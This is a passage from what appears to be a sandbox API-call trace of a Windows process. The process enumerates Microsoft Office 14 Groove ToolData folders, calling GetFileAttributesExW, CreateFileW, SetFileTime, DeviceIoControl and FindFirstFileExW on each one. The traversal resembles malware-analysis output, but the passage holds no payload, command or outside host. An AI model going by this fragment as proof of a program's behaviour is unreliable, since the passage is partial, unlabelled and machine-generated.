ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.926] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.926] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.926] GetLastError () returned 0x12 [0069.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.926] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.926] GetLastError () returned 0x12 [0069.926] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.927] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.927] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.927] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.928] GetLastError () returned 0x12 [0069.928] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.928] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.928] GetLastError () returned 0x12 [0069.928] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.929] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.929] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.929] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.929] GetLastError () returned 0x12 [0069.929] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.929] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.929] GetLastError () returned 0x12 [0069.929] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.931] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.931] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.931] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.931] GetLastError () returned 0x12 [0069.931] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.931] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.931] GetLastError () returned 0x12 [0069.931] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.931] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.932] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.932] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.932] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.933] GetLastError () returned 0x12 [0069.933] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.933] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.933] GetLastError () returned 0x12 [0069.933] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.933] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.933] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.933] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.933] GetLastError () returned 0x12 [0069.934] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.934] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.934] GetLastError () returned 0x12 [0069.934] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.934] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.935] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.935] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.935] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.935] GetLastError () returned 0x12 [0069.935] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.935] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.935] GetLastError () returned 0x12 [0069.935] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.935] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.937] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.937] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.937] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.937] GetLastError () returned 0x12 [0069.937] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.937] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.937] GetLastError () returned 0x12 [0069.937] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.937] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.938] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.938] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.938] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.938] GetLastError () returned 0x12 [0069.938] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.939] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.939] GetLastError () returned 0x12 [0069.939] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.939] GetLastError () returned 0x12 [0069.939] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.939] GetLastError () returned 0x12 [0069.939] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0069.939] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0069.939] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.939] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d2a0 [0069.942] GetLastError () returned 0x12 [0069.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.942] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0069.942] GetLastError () returned 0x12 [0069.942] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.943] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.943] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.943] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.945] GetLastError () returned 0x12 [0069.945] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, 